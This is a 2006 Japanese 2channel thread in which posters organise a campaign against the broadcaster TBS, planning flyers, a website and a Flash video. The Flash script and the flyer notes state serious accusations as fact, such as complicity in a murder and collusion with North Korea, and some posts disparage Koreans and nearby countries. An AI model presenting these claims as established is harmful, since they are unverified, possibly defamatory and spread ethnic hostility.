>ｲﾗﾈ氏の回答が、質問した側が納得できるまで、質問攻めを繰り返す。
>そんなこと、延々とやって、じゃあ　誰が喜ぶのか？ を考えれば、普通に分かりそうなもんですが・・・

>それが彼らの「真の狙い」と昨夜は書きました。
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^


播州さんは「石原都知事発言のテロップ捏造疑惑」の時からTBSよりマスコミ叩いてた
あの時のコテハンは「播州赤穂47士」じゃなかったが
３年前の「石原都知事テロップ事件｣の時と変わってないな
0936エージェント・７７４2006/08/31(木) 16:15:12ID:hZUM11uP
　 　　ヽ}　＼:ﾄ､_ｙ;ｨ",孑=ｧﾒﾐ､::::::i:i:::|〈jf'ﾉ::::::{　　NHKは糞の役にもたたない使えない子
　　　　 ,,≧_､＼_{ト　　　　'^〃 ｀ヾ从::!´ｒﾍ::ヾ　　只でさえCNN等と比べられぬゴミ局。アジアへの放送などいらぬ。
　　　　｛　　　7厂ミｭ　__／　　　 } } }ﾘ　 ﾐ::::ヾ　　 これは我々ネットの会で、蒼穹に潰す必要がある。　
　　 　　 ヾ､ 　＾） 　 ￣´ 　 　 　 　 /ｉ　　 ﾏ　
0937エージェント・７７４2006/08/31(木) 16:16:56ID:ZqX3DDCF
>>931
ﾄﾝ
0938エージェント・７７４2006/08/31(木) 16:19:46ID:8mqc6jd2
日本人からは犯罪者扱いで金を奪い
特アにただで衛星放送垂れ流し

誰も見ない半島ドラマに金をガンガン流し込む

偏向反日は日常
違法移民の受け入れを連呼する

そんな素敵な公共放送
0939エージェント・７７４2006/08/31(木) 16:25:01ID:Q3Qpw5PR
３年前播州さんはこのようなことを書いたがコテハンは叩かれるのが２ﾁｬﾝの宿命だな
最後は自ら出て行ったよ
疑うなら/makimo.to/で検索してみな　
コテハンは「播州赤穂47士」じゃないが


【マスコミ】 ＴＢＳ、石原都知事発言を捏造報道か★20
1 名前： モナギコφ ★ 04/01/24 12:40 ID:???

74：　　　　　　　　　　　： 04/01/27 01:23 ID:ZNZBjjoE

巨大マスコミの不正をとにかく糾弾！と言っても、なかなか、難しいのが現実だ。
2chは巨大掲示板と言われてるけど、現実社会の世論を大きく動かすほどの機動力は、
残念ながら無い。
つーか、ヒロユキさんが、2chがそこまでの機能を有する事に、極めて消極的な考えをされてる。
それなのに、2chねら～は、「なんとか汁！」と他力本願で叫んでる。
根本的に矛盾があるんだ。
だから、
「そこまで必死に粘着してるんなら、自分でなんとかすれば？」
みたいにカキコで野次られるのがオチ。
まぁ～、ドッチもドッチだけど、こーなったら消耗戦に突入する？

だとしたら、2chねら～の、最後の行き着くところは、浅間山荘になっちゃったりしてるかもね。
何度も言うけど、急がば回れ、
先ずは、地道に手の届くところから、例え小さくとも、そこそこの活動をスタートすれば良い。
それくらいしかデキッコナイし、とにかく地力をつける事が大切。

部屋の隅っこで、
キーボードを打ち込んでりゃ、そのうちに誰かがなんとかしてくれるナンテ、TVゲームじゃあるまいし。
現実の活動基盤をシッカリと、築くのが大切だと思う。
でも、
仕事のウサ晴らしに、２chで書き込みして、それでスッキリして、
また、明日の宮仕えのために、鋭気を養うのが目的なら、思いっきり、どーぞです。

0940エージェント・７７４2006/08/31(木) 16:31:14ID:mwTQW8m/
>>939
何でコテ違うのに本人だってわかるの？
0941エージェント・７７４2006/08/31(木) 16:33:06ID:8mqc6jd2
そもそもなんでその人そんなに持ち上げられてるんだｗ
その論調で言うなら動いてる人に横から水差してるだけに見えるがね
0942エージェント・７７４2006/08/31(木) 16:36:38ID:Q3Qpw5PR
>>940
お前にもお勧めするよ　　⇒　　半年ROM　
スレ読んでから言え

0943エージェント・７７４2006/08/31(木) 16:37:41ID:mwTQW8m/
>>942
どのスレだよ。
0944質問します ◆v8LnuWXHmQ 2006/08/31(木) 16:38:54ID:voxPesXK
イラネ氏またはKN氏に質問のある人は書き込んでください。
後でまとめておきます。
0945エージェント・７７４2006/08/31(木) 16:39:14ID:Or9SUtM1
俺、5年は２ちゃんねるをROMし続けてるぞ。
0946エージェント・７７４2006/08/31(木) 16:41:16ID:Q3Qpw5PR
他のROMねらーさん
よく分かっただろ
所詮この程度の香具師だ
何が目的でここで書いてるのか知らないがな
0947エージェント・７７４2006/08/31(木) 16:42:32ID:mwTQW8m/
>>946
お前、それ自己紹介？
0948エージェント・７７４2006/08/31(木) 16:44:49ID:22fPoOgw
>>944
街宣車はどこから借りたの？
0949エージェント・７７４2006/08/31(木) 16:49:46ID:MRj5FBMq
>>944質問します氏
>>874の内容に同意しますので、質問に加えて下さい。
0950エージェント・７７４2006/08/31(木) 16:55:46ID:eP4DGdIE
俺は↓のテンプレから意見をまとめて継続されることを期待する

----------------------------------------------------------------------
■今後の課題■

【公式サイト立ち上げ】
１．一般向けで２ｃｈ色が薄い（無いほうがいい）もの
２．TBSの問題を詳しく紹介
３．携帯サイトなんてあってもいいかな
４．配布用ビラPDF記載
５．質問はメールにて（逐次Q&Aにて返答）
６．署名活動に発展することを示唆
７．TBSや総務省へのクレーム窓口一覧を掲載
８．FLASHなんかあればいい（金がかかるならパス）

【ビラの再考】
１．署名欄はなくす（９月で締めるってことだし、主催者も降りそうだから）
２．放送免許剥奪の一文はなくす（実現性がないから）
３．偏向云々はなくす（偏るのはマスコミ全てに言えることだから）
４．「捏造した事実」を徹底周知（事実だから）
５．TBSにリーチが掛かっていることも掲載（これも事実ね）
６．朝鮮やオウムとの関係を記載（これも事実だから）
７．問題発生時は署名活動に発展することを示唆
８．サイトのURLを記載

-その他テンプレ-
ポケットティッシュ作成案、FLASH作成案あり

-意見＆リクエスト-
・ビラに杉嶋氏の発言「北朝鮮側の情報操作の受け皿が何とＴＢＳ」を入れてくれ
・「偏向云々をなくす」vs「むしろあった方がいい」（マスメディアに対する威嚇の意味で）
・せっかく良識者が大勢いるんだから議論や煮詰めは２ｃｈでやって、まとまったら２ｃｈから出るべき
・OFFは街頭演説とビラ配布の集いくらい（まあ署名活動があればそれも）で、あとは他の板でやれ
・公式サイトは何れマスコミの問題行為監視するというを方向で動いて欲しい
・カンパは募るな。どうしても必要なら収支を明瞭にしろ。
・「リーダー不在で出来る」vs「リーダーは必要だ」
・
・

Q１：ビラの印刷をどうするか？業者発注だと金かかるよ？
Q2：
Q3：


追加はご自由に。
----------------------------------------------------------------------
0951エージェント・７７４2006/08/31(木) 16:55:49ID:9kQdb+4+
>>946
何だこいつはｗ
0952エージェント・７７４2006/08/31(木) 17:02:03ID:ZqX3DDCF
ビラに付加価値として「しおり」って話があがっていたね。
これはデザインが決まれば結構簡単かも。
0953エージェント・７７４2006/08/31(木) 17:04:01ID:eP4DGdIE
>>952
OK。あとでまとめて追加しとく
0954質問します ◆v8LnuWXHmQ 2006/08/31(木) 17:06:27ID:voxPesXK
>>948
ヲチスレで聞いた人がいるみたい。

870 ：864：2006/08/31(木) 14:33:29 ID:Tkuzp1ub0
レンタカー屋さんに聞いてみました。
横浜480 い 41-08はそこの車で28日に返却してるそうです。
http://news20.2ch.net/test/read.cgi/news/1156848718/870

>>949
質問よりも要望になる？
まとめは質問のみに絞りたいのでイラネ氏から返事が欲しいなら
>>874を質問になるように簡単にしてみてください。
0955エージェント・７７４2006/08/31(木) 17:08:28ID:wwiHLdQi
鳥取offではKNさんやイラネさんに感謝してるって言われてるからその気持ちに報いるためにもイラネさんは頑張ってくださいね
裏とのいろいろはあるかもだから大変だろうけど
あとKNさんも一言ヨロシコ
0956エージェント・７７４2006/08/31(木) 17:18:33ID:clMYLil2
>>950
何だその案。まぁ案だから仕方ないのか？ってなわけないだろｗ
>偏向は全てのマスコミに言えるのだから
どっかのバカ言ってたことそのまま入れたのか。偏向はダメだろ。多角的に意見を討論する姿勢がないのと
他国の主張そのまま垂れ流すのを偏向って言ってるんだよ。
偏るのが普通なわけないだろ。
他いろいろあるけどそんなんコピペすんなｗ
0957エージェント・７７４2006/08/31(木) 17:22:33ID:eP4DGdIE
>>956
OK。

>偏向はダメだろ。多角的に意見を討論する姿勢がないのと
他国の主張そのまま垂れ流すのを偏向って言ってるんだよ。
偏るのが普通なわけないだろ。

この部分いれておくね
0958エージェント・７７４2006/08/31(木) 17:26:40ID:22fPoOgw
>>954
それ信用ならん。
0959草の根推奨派 ◆.yvPsMUCIE 2006/08/31(木) 17:34:14ID:eP4DGdIE
酉付けてみた。
>>950に意見やリクエストあったら書いてくれ。
あとでまとめてみるから。ただしなるべく短くね・・・（反論でもいいよ）
0960エージェント・７７４2006/08/31(木) 17:46:45ID:ZqX3DDCF
もし、しおりにリボン（スピンと言うらしい）をつけるのでしたら。
値段の目安として150ｍで￥473円。
http://www.rakuten.co.jp/handcraft/670706/560208/#529942
手芸店で扱っているみたいですね。
他を探せばもっと安いのがあるかも。
0961エージェント・７７４2006/08/31(木) 17:54:22ID:qwkkJywJ
>>950
草の根を中心にやるなら支持するよ。

いずれにしても、立て直すならどこまで主張するのかしっかり決めてくれ。
途中で変容すると、そんなところまで支持してねーよって意見が出るから。
署名とか当面やらないなら自分の意見と違うのに署名を利用されたという
苦情は出にくくなるとは思うけどな。

あと、特定の個人や団体に乗っ取られないようする意味でも、負担や権限
が誰かに集中しないようにな。個人がつぶれるのと一緒に全体がコケるの
はもう誰も見たくないべ？　誰かが自分の名前晒さなきゃできない活動は
無理も相当かかるから、全体の同意が得られない時は慎重に頼む。

カンパだの署名だのがまた浮上してきたら、やりたい連中を中心に別団体
起こしてもらって、ここはできるだけ広い範囲の賛同者が参加できる状態
を保ってもらいたい。

突出した活動に疑問を持つだけで追い出されるのは明らかにおかしな空気
だったからな。「文句があるなら他所でやれ」って安易に野次飛ばす阿呆
が多かったけど他所に行くのは「賛同者だけでいいです」って主張して、
突っ走った活動を提案したヤツらの方だろ。

>>950 については、偏向の根っこを断定して糾弾するか、放送法を遵守
してないって現状にとどめて抗議するのか、その辺はある程度みんなの
意見聞いた方がいいと思う。
0962草の根推奨派 ◆.yvPsMUCIE 2006/08/31(木) 18:07:11ID:eP4DGdIE
>>961
サンクス。
ってかね、俺は上でも書いたけど懐疑派だったのよ。
署名だけしてあとはROMってたけど、あんまりｇｄｇｄだからイライラしてたんだよね。

昨夜だったかな？俺が>>950で書いたやつのベースになる書き込みがあってね
これなら賛同も得られるんじゃないか？と思って今まとめてるとこ。
俺は頭悪いからまとめるくらいしかできねーけど
これを参考に進めてくれる奴がいるといいなと思ってる。

>主張をしっかり決めろ。途中で変容するようなことするな。
>負担や権限を分散させろ。全体の同意が得られないものは慎重に。
>カンパや署名の活動は別団体にやらせろ。

でいいかな？
0963エージェント・７７４2006/08/31(木) 18:12:58ID:voxPesXK
>>962
板のローカル・ルールは守るも入れてください。
0964草の根推奨派 ◆.yvPsMUCIE 2006/08/31(木) 18:14:27ID:eP4DGdIE
>>962修正

>負担や権限を分散させろ。全体の同意が得られないものは慎重に。
>乗っ取り防止のため負担や権限を分散させろ。全体の同意が得られないものは慎重に。

>カンパや署名の活動は別団体にやらせろ。
>カンパや署名が必要になる活動は別団体にやらせろ。

>>963
了解！
0965エージェント・７７４2006/08/31(木) 18:36:07ID:clMYLil2
ＴＢＳもいっそのこと韓国のニュースそのまま流せばいいのにな
そしたら韓国の実態が国民に曝け出されていいんだがｗ
0966草の根推奨派 ◆.yvPsMUCIE 2006/08/31(木) 18:51:54ID:eP4DGdIE
>>950に対する意見など募集中

-意見＆リクエスト-
・ビラに杉嶋氏の発言「北朝鮮側の情報操作の受け皿が何とＴＢＳ」を入れてくれ
・「偏向云々をなくす」vs「むしろあった方がいい」（マスメディアに対する威嚇の意味で）
・せっかく良識者が大勢いるんだから議論や煮詰めは２ｃｈでやって、まとまったら２ｃｈから

出るべき
・OFFは街頭演説とビラ配布の集いくらい（まあ署名活動があればそれも）で、あとは他の板でや

れ
・公式サイトは何れマスコミの問題行為監視するというを方向で動いて欲しい
・カンパは募るな。どうしても必要なら収支を明瞭にしろ。
・「リーダー不在で出来る」vs「リーダーは必要だ」
・ビラに付加価値として「しおり」、デザインが決まれば結構簡単かも。
・偏向はダメだろ。多角的に意見を討論する姿勢がないのと、他国の主張そのまま垂れ流すのを

偏向って言ってるんだよ。偏るのが普通なわけないだろ。
・主張をしっかり決めろ。途中で変容するようなことするな。
・乗っ取り防止のため負担や権限を分散させろ。全体の同意が得られないものは慎重に。
・カンパや署名が必要になる活動は別団体にやらせろ。
・板のローカル・ルールは守れ。


Q１：ビラの印刷をどうするか？業者発注だと金かかるよ？
Q2：
Q3：

--------------------------------------------------------------------------
もし、しおりにリボン（スピンと言うらしい）をつけるのでしたら。
値段の目安として150ｍで￥473円。
http://www.rakuten.co.jp/handcraft/670706/560208/#529942
手芸店で扱っているみたいですね。他を探せばもっと安いのがあるかも。


他に意見＆リクエストがあればあとでまとめるから書いてくれ。
ただしなるべく短くね・・・（反論でもいいよ）
0967エージェント・７７４2006/08/31(木) 18:58:18ID:voxPesXK
LRをコピペしておく、参考までに。

大規模なOFFやネタOFFを扱う板です
◆マルチポストやチェーンメールによるOFF宣伝、及びそれらを呼びかける投稿は厳禁です
◇既存スレ・突発OFF板・定期OFF板との重複スレッドは禁止します
　 スレを立てる前にスレッド一覧を検索しましょう
◇関連スレは以下の範囲で立てて下さい
　 議論スレ・実務スレ各1、地域スレ×都道府県or地方単位で各1
◇支援スレ・運営スレは本スレの了解の上で立てて下さい
◇終了した企画はsage進行で事後処理を行って下さい
◆幹事やスタッフ等運営陣が存在しないOFFの開催は禁止します
　 運営陣は全参加者を把握の上、OFF開催中は必ず現地で動向に目を配って下さい
　 同時多発企画の開催は、全開催地にスタッフがいる事が条件です
　 幹事の適任者がいない場合は開催を延期して企画を練り直して下さい
◆以下の内容については該当の板をご利用下さいすぐに開催したいOFF　⇒
　 すぐには開催しないOFF　⇒
OFFを伴わない企画　⇒
祭り・実況　⇒ 　突発OFF板
　定期OFF板　("すぐ"の目安は1週間程度)
　イベント板
　お祭り会場板
◆禁止事項
　 個人・法人への攻撃及び法令に抵触すると思われる企画
　 周囲に多大な迷惑が掛かる企画など一般常識を逸脱した企画
　 奢り奢られを目的とする企画
　 恋愛関係・肉体関係・異性(同性)との出会いを目的とした企画
　 特定の個人叩き、悪質な騙り
　 個人を特定できると思われる情報(住所氏名、電話番号等)の投稿
　 実況、及びイベント進行とは無関係なage荒らしの投稿
◇参加については自己責任の原則を忘れないように
◇荒らしは完全無視・徹底放置しましょう
0968草の根推奨派 ◆.yvPsMUCIE 2006/08/31(木) 19:14:09ID:eP4DGdIE
>>967
親切にども！

ビラ配りやポスティング、デモ以外はOFF板から離れるんじゃないかな？
このまとめもこの週末で終わらせて
他の板で議論を進めることになると思う。
どこがいいのかな・・・？
0969エージェント・７７４2006/08/31(木) 19:16:16ID:+0QTBPKB
今後の建て直しのためも、名無し有志でテンプレを随時議論していく方向か。
なかなかいいな。

ぜひ賛同したい。


ぜひテンプレに加えてくれ。今までの反省点だ
→個々の負担がかかり過ぎない
→ちゃんと議論を煮詰めてから行動汁
→デモとか街宣とかプロ市民みたいな活動はｲﾗﾈ
0970エージェント・７７４2006/08/31(木) 19:19:19ID:/Gfq7O1n
>>968

　　　　　　　　　　　　　　　　／""""""""""ヽ
　　　　　　　　　　　　　　 ／　　　　　　　　　　ヽ
　　　　　　　　　　　　　　| 　　　　　　　　　　　　|
　　　　　　　　　　　　　　|　　/ ||||| |||| || ||| ||||　|
　　　　　　　　　　　　　　|　／|￣￣|冖|￣￣|　 |　 　　
　　　　　　　　　　　　　　|ミミ~｀―´(。。)―‐"彡|　　　
　　　　　　　　　　　　　　|ミミヾ ,,,　,ｪｪｪｪ、,,,　彡|　 ＜あ　た　し　を　抜　き　に　し　て　話　進　め　る　気　？
　　　　　　　　　　　　　　　ミミ 　 ヾェｪｪﾉ　 /彡 　　　
　　　　　　　　　　　　　　　　　i＼　　 ⌒　/　　　　　　
　　　　　　　　　　　　　　 ,／￣|＼￣￣￣/|￣ヽ、
0971草の根推奨派 ◆.yvPsMUCIE 2006/08/31(木) 19:22:46ID:eP4DGdIE
>>969
㌧クス！

>>970
いあ・・そんなつもりじゃ・・・。
0972エージェント・７７４2006/08/31(木) 19:23:14ID:LwtehMgs
いいんじゃないの
問題はカンパの不透明さだったからさ
OFFをやりたい人は自分で金だしてやればいいんだから(印刷代含めてね)
１日に配れるビラの数なんてたかが知れてるだろうしね
その金が無いというならまず働けという事だな
0973エージェント・７７４2006/08/31(木) 19:23:26ID:+0QTBPKB
ご意見募集中！ 誤字などの指摘もお願いします！
【Flash案】

最初に
「日々流される情報　わたし達は知らずに多くの情報に晒され意識・無意識に関わらず多くの選択をしています。
　もし今あなたの周りの情報が嘘で汚染されてるとしたら、あなたはどうしますか？
　わたしたちは正しい情報を求めています。」
　　　　　　　　　　　　　　　　　～報道の在り方を考えるインターネット有志の会～


＊“”内はテロップ

Aパート：導入部
“捏造、印象操作、歪曲、偏向、無責任”
“貴方はどれだけTBSの嘘を知っていますか？”
↓
Bパート：TBSの問題報道の列挙。問題部分の色を変えたり、効果音使ったり強調して下さい。
TBS“亀田の試合、疑惑の判定”→事実“6万件もの抗議を完全無視”
TBS“健康情報番組で紹介したダイエット法”→事実“中毒者多数、2000人以上に被害”
TBS“石原都知事「日韓併合の歴史を100%正当化するつもりだ」→事実「日韓併合の歴史を100%正当化するつもりはない」
TBS“ハイド議員「靖国に行くべきではないと強く思っている」→事実「靖国に行くべきでないと（強くは）思わない」
TBS“東条英機氏遺族「遺族としては不満もある」→事実「遺族としては不満もあるが、よく参拝してくれた」
TBS“旧石器捏造事件、「つくる会」に結びつける”→事実“全く無関係”
TBS“神栖町ヒ素汚染問題、日本軍の毒ガスが原因と断定的→事実“実際には民間企業の不法投棄”
TBS“731部隊の特集で安部官房長官の写真が写る”→事実“安部氏のイメージダウンの印象操作？”
↓
Cパート：問題喚起
“総務省に注意を受けても問題を繰り返すTBS”
“TBSには何か意図があっての事なのでしょうか？”
“もしあるとしたら、それにはどんな意図が？”
↓
Dパート:TBSの起こした事件、疑惑。おどろおどろしい感じでお願いします。
“オウム真理教への情報リーク”
“坂本一家惨殺の引き金”
“麻原の顔をサブリミナル手法で放映”
“オウム真理教幹部村井氏刺殺事件に関与疑惑”
“北朝鮮との共同謀議発覚、杉嶋氏の身代金要求に加担”
“杉嶋氏「北朝鮮側の情報操作の受け皿がＴＢＳ」”

↓
Eパート：署名協力のお願い
“私達は日本の為の公正で嘘のない報道を求めています”
“報道に真実を取り戻す為、貴方のお力をお貸し下さい”
“ＴＢＳの放送免許剥奪を求める陳情署名受付 http://www.powup.jp/sign/tbs.aspx”
0974エージェント・７７４2006/08/31(木) 19:23:37ID:voxPesXK
>>968
イベント板、難民板ぐらいしか思いつかないな。
0975サザ　ンノ　ト利　　ビ　ア2006/08/31(木) 19:25:26ID:1+6NklV9
http://mixi.jp/show_friend.pl?id=5307587
　 　 　 　 　 　 ノ⌒＼
　　　　　　Σm9・∀・ ）　　＜　　　マイミク募集中！
　　　　　　　　ﾉﾙﾘﾉﾙﾘ
0976草の根推奨派 ◆.yvPsMUCIE 2006/08/31(木) 19:25:36ID:eP4DGdIE
>>974
㌧

それじゃ一通りまとまったらイベント板あたりで議論しますかね。
0977エージェント・７７４2006/08/31(木) 19:26:19ID:+0QTBPKB
>>973
自己レスだが、
「報道の在り方を考えるインターネット有志の会」っていうのを変えたらどうだ？
ケジメの意味でも。

それとスレタイも変えてもいいと思う。
もう放送免許剥奪を前面に出して議論する場じゃないだろ？
「TBSの報道姿勢を問いただすOFF」とかさ
0978草の根推奨派 ◆.yvPsMUCIE 2006/08/31(木) 19:30:51ID:eP4DGdIE
>>977
「報道の在り方を考えるインターネット有志の会」・・・。
この辺は現運営サイドに聞きたいとこなんだよね～
次のビラもある程度転用させてもらうだろうし・・・
俺としては心機一転するべきだと思うけどね

スレタイは同意。
次スレの季節だから次はそれでいきましょ
ってか俺は立てられなかった・・・orz
0979エージェント・７７４2006/08/31(木) 19:35:05ID:+0QTBPKB
>>978
スレ立てる前に、スレタイやテンプレ全て整理しておこうぜ。

現状スレタイ案「TBSの報道姿勢を問いただすOFF」

テンプレ
>>950
>>966
>>973

こんなとこか？
0980エージェント・７７４2006/08/31(木) 19:36:07ID:RzyfPrJP
>「報道の在り方を考えるインターネット有志の会」
一般向けに名乗るために結構適当につくった名前らしい

今度は自分達の為に考えた名前にしてはどうか
0981草の根推奨派 ◆.yvPsMUCIE 2006/08/31(木) 19:37:20ID:eP4DGdIE
>>979
㌧クス

あとポケットティッシュ案があったと思う。
0982エージェント・７７４2006/08/31(木) 19:41:38ID:+0QTBPKB
>>981
>>572かな

現状スレタイ案「TBSの報道姿勢を問いただすOFF」

テンプレ
>>572
>>950
>>966
>>973
0983エージェント・７７４2006/08/31(木) 19:45:29ID:e1PE/INH
ちょっと質問なんだけど
この新しい活動は、ＫＮ氏やイラネ氏は排除して行うという方針でいいの？
それとも何らかの協力関係でやっていこうとしているの？
0984エージェント・７７４2006/08/31(木) 19:45:29ID:ZqX3DDCF
>>977
まだ監査オフ、署名提出があるでしょ？
0985草の根推奨派 ◆.yvPsMUCIE 2006/08/31(木) 19:46:53ID:eP4DGdIE
>>982
㌧　>>950と>>966は↓にまとめたから。

■今後の課題■

【公式サイト立ち上げ】
１．一般向けで２ｃｈ色が薄い（無いほうがいい）もの
２．TBSの問題を詳しく紹介
３．携帯サイトなんてあってもいいかな
４．配布用ビラPDF記載
５．質問はメールにて（逐次Q&Aにて返答）
６．署名活動に発展することを示唆
７．TBSや総務省へのクレーム窓口一覧を掲載
８．FLASHなんかあればいい（金がかかるならパス）

【ビラの再考】
１．署名欄はなくす（９月で締めるってことだし、主催者も降りそうだから）
２．放送免許剥奪の一文はなくす（実現性がないから）
３．偏向云々はなくす（偏るのはマスコミ全てに言えることだから）
４．「捏造した事実」を徹底周知（事実だから）
５．TBSにリーチが掛かっていることも掲載（これも事実ね）
６．朝鮮やオウムとの関係を記載（これも事実だから）
７．問題発生時は署名活動に発展することを示唆
８．サイトのURLを記載

【その他テンプレ】
ポケットティッシュ作成案、FLASH作成案あり

【意見＆リクエスト】
１．ビラに杉嶋氏の発言「北朝鮮側の情報操作の受け皿が何とＴＢＳ」を入れてくれ
２．「偏向云々をなくす」vs「むしろあった方がいい」（マスメディアに対する威嚇の意味で）
３．せっかく良識者が大勢いるんだから議論や煮詰めは２ｃｈでやって、まとまったら２ｃｈから出るべき
４．OFFは街頭演説とビラ配布の集いくらい（まあ署名活動があればそれも）で、あとは他の板でやれ
５．公式サイトは何れマスコミの問題行為監視するというを方向で動いて欲しい
６．カンパは募るな。どうしても必要なら収支を明瞭にしろ。
７．「リーダー不在で出来る」vs「リーダーは必要だ」
８．ビラに付加価値として「しおり」、デザインが決まれば結構簡単かも。
９．多角的に意見を討論する姿勢がない他国の主張そのまま垂れ流すのが偏向だから偏向云々は入れろ。
１０．主張をしっかり決めろ。途中で変容するようなことするな。
１１．乗っ取り防止のため負担や権限を分散させろ。全体の同意が得られないものは慎重に。
１２．カンパや署名が必要になる活動は別団体にやらせろ。
１３．板のローカル・ルールは守れ。
１４．個々の負担がかかり過ぎない
１５．ちゃんと議論を煮詰めてから行動汁
１６．デモとか街宣とかプロ市民みたいな活動はｲﾗﾈ

【Qまとめ】
Q１：ビラの印刷をどうするか？業者発注だと金かかるよ？
Q2：
Q3：

----------------------------------------------------------------------
もし、しおりにリボン（スピンと言うらしい）をつけるのでしたら。
値段の目安として150ｍで￥473円。
http://www.rakuten.co.jp/handcraft/670706/560208/#529942
手芸店で扱っているみたいですね。
他を探せばもっと安いのがあるかも。

他に意見＆リクエストがあれば書いてくれ。反論もOK！（なるべく短くね・・・）
0986エージェント・７７４2006/08/31(木) 19:50:10ID:+0QTBPKB
>>983
これから議論していけばいいんじゃない？

>>984
署名提出以外の大きなイベントはもう終わってるんだから
同時進行で、新たな展開を模索するのはどうだ？
0987エージェント・７７４2006/08/31(木) 19:50:33ID:Or9SUtM1
左翼っぽくネットワークとか使ってみる？

NO　MORE　偏向報道！許すなTBSの報道姿勢！インターネット市民たちの徹底抗議ネットワーク

とか。
0988エージェント・７７４2006/08/31(木) 19:53:00ID:ZqX3DDCF
>>986
模索はいいけど、混乱しないかい？
0989エージェント・７７４2006/08/31(木) 19:55:00ID:RzyfPrJP
＞左翼っぽくネットワークとか使ってみる？
４８１氏の仮想政見放送じゃないけど、既存のグループやイベントをもじった
風刺的なモノが作れたら面白いかもしれない
0990エージェント・７７４2006/08/31(木) 19:55:43ID:+0QTBPKB
>>988
監査とかカンパのネタを議論するより混乱しないと思うが。

というか、もう次スレ立ってるな。
取りあえずここに移るか。
http://off3.2ch.net/test/read.cgi/offmatrix/1157020164/
0991草の根推奨派 ◆.yvPsMUCIE 2006/08/31(木) 19:56:10ID:eP4DGdIE
>>983
協力関係ではなくなると思う。はっきり言えば排除になるだろうね。
個人でできることを模索してる段階かな～
っつ～か、今は今後出来ることをまとめて議論したいってとこ。

>>984
それは現運営の仕事だから、きちんとこなして欲しいね。
0992エージェント・７７４2006/08/31(木) 19:59:07ID:Qv/dvPNx
>>983
害にしかなんないだろ

署名数見ろよ、して後悔してるやつも多いと思うぞ
0993エージェント・７７４2006/08/31(木) 20:00:15ID:ZqX3DDCF
>>990
今会の名前を変えるのは返ってまずいでしょ。

>>991
排除？
0994エージェント・７７４2006/08/31(木) 20:03:02ID:dcueL0ZJ
993の言うとおりちゃんとスレでKN氏とイラネ氏が説明して
キレイに幕引きしてから新しい名前にするなりなんなりすればいいと思う。
0995エージェント・７７４2006/08/31(木) 20:03:42ID:hZUM11uP
うめうめ
0996エージェント・７７４2006/08/31(木) 20:05:20ID:+0QTBPKB
話の続きは一応ここで
http://off3.2ch.net/test/read.cgi/offmatrix/1157020164/
0997穴埋男2006/08/31(木) 20:05:53ID:YPbQgNDm
埋めは私
0998エージェント・７７４2006/08/31(木) 20:07:13ID:RzyfPrJP
「TBSの報道姿勢を問いただすOFFスレ」
と
「TBS放送免許剥奪を求める署名OFFスレ」

が並列に存在しても問題はないかな？
0999エージェント・７７４2006/08/31(木) 20:07:52ID:ZqX3DDCF
tbsポスティングのスレはどうなるんだろう？
1000穴埋男2006/08/31(木) 20:08:21ID:YPbQgNDm
イラネ氏はまあまあ収拾つけると思うヨ
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